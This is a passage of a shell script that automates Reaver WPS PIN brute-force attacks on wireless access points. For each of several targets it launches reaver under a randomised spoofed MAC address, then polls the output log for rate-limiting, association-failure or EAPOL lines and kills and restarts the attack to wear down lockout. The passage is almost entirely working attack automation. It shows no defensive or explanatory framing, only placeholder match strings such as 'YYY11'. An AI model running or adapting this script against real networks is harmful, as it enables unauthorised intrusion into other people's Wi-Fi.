REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R24 == n || $USE_R24 == N ]] && [[ $USE_LONG24 == y || $USE_LONG24 == Y ]] && [[ $USE_PIN24 == y || $USE_PIN24 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME24"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL24"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP24"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE24 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME24-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL24 -b $TARGETAP24 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN24 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME24-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE24-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R24 == y || $USE_R24 == Y ]] && [[ $USE_LONG24 == y || $USE_LONG24 == Y ]] && [[ $USE_PIN24 == y || $USE_PIN24 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME24"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL24"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP24"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX24" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY24"
echo -e "$info Reaver live time                   = $yel$LIVE24 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME24-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL24 -b $TARGETAP24 -r $RX24:$RY24 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN24 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME24-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE24-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE24 == n ] || [ $KEEP_FILE24 == N ]; then

          rm VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R25 == n || $USE_R25 == N ]] && [[ $USE_LONG25 == n || $USE_LONG25 == N ]] && [[ $USE_PIN25 == n || $USE_PIN25 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME25"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL25"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP25"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE25 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME25-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL25 -b $TARGETAP25 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME25-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE25-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R25 == y || $USE_R25 == Y ]] && [[ $USE_LONG25 == n || $USE_LONG25 == N ]] && [[ $USE_PIN25 == n || $USE_PIN25 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME25"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL25"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP25"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX25" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY25"
echo -e "$info Reaver live time                   = $yel$LIVE25 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME25-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL25 -b $TARGETAP25 -vv -x 60 -r $RX25:$RY25 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME25-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE25-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME25-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP25 (ESSID: $NMEWARN25)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R25 == n || $USE_R25 == N ]] && [[ $USE_LONG25 == y || $USE_LONG25 == Y ]] && [[ $USE_PIN25 == n || $USE_PIN25 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME25"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL25"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP25"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE25 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME25-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL25 -b $TARGETAP25 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME25-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE25-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME25-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME25-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME25-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

